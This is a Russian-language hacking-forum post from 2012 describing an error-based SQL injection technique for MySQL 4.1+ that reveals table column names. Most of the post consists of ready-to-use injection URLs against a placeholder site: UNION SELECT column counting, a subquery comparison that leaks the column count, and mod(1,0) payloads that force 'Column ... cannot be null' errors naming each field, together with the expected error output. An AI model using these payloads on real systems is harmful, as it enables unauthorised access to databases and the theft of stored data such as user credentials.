Показать сообщение отдельно
Старый 02.10.2012, 14:11   #24
fraIzer
 
Аватар для fraIzer
 
Регистрация: 06.07.2010
Сообщений: 5
Репутация: 1
По умолчанию Определение имён полей в 4-ой версии mysql

Не знаю было ли это уже тут, вроде ничего похожего не нашёл, в любом случае думаю информация для кого-нибудь будет полезна...

При инъекции в 4-й ветке мускула можно вполне достоверно узнать имена колонок, ЕСЛИ есть вывод сообщений об ошибках mysql. Полезно в особенности тогда, когда имена колонок далеко не дефолтовые или используется префикс и т.д. и т.п.

Узнаём кол-во полей в таблице, к примеру:
Код:
http://www.site.ru/script.php?id=22+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12/*
Перебором узнаём имя таблицы. Предположим, что имеется таблица users:

Код:
http://www.site.ru/script.php?id=-22+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12+from+users/*
Узнаём сколько всего колонок в этой таблице:

Код:
http://www.site.ru/script.php?id=-22+and+(select+*+from+users)=(1)/*
Получаем вывод к примеру:
Цитата:
Operand should contain 6 column(s)
6 - это и есть кол-во колонок в таблице users.

Далее попытаемся узнать название первого поля в запросе:
Код:
http://www.site.ru/script.php?id=-22+and+(select+*+from+users+union+select+mod(1,0),2,3,4,5,6+limit+1)=(1,2,3,4,5,6)/*
(1,2,3,4,5,6) - нужно для того что бы не возникло ошибки из-за того, что подзапрос возвращает больше одного значения, mod - тут всё понятно. Результат предположим: "Column 'id' cannot be null". id - и есть имя первой колонки. Далее пробуем узнать имя второго поля:

Код:
http://www.site.ru/script.php?id=-22+and+(select+*+from+users+union+select+1,mod(1,0),3,4,5,6+limit+1)=(1,2,3,4,5,6)/*
Результат предположим: "Column 'username' cannot be null". username - имя второй колонки.

Далее по аналогии...

В четвертой ветке работает с 4.1, т.к. до этой версии нельзя использовать подзапросы и в некоторых версиях 5-ой ветки...

Собственно тема стара и обсуждалась уже давно на hackzona.ru, авторство хз чьё, по словам Scipio вроде некий Paic. В общем на усмотрение модераторов, если надо, то пусть оставят или перенесут куда надо, если же нет, пускай сносят...
__________________
Party for everybody Dance

Последний раз редактировалось fraIzer; 03.10.2012 в 04:43..
fraIzer вне форума   Ответить с цитированием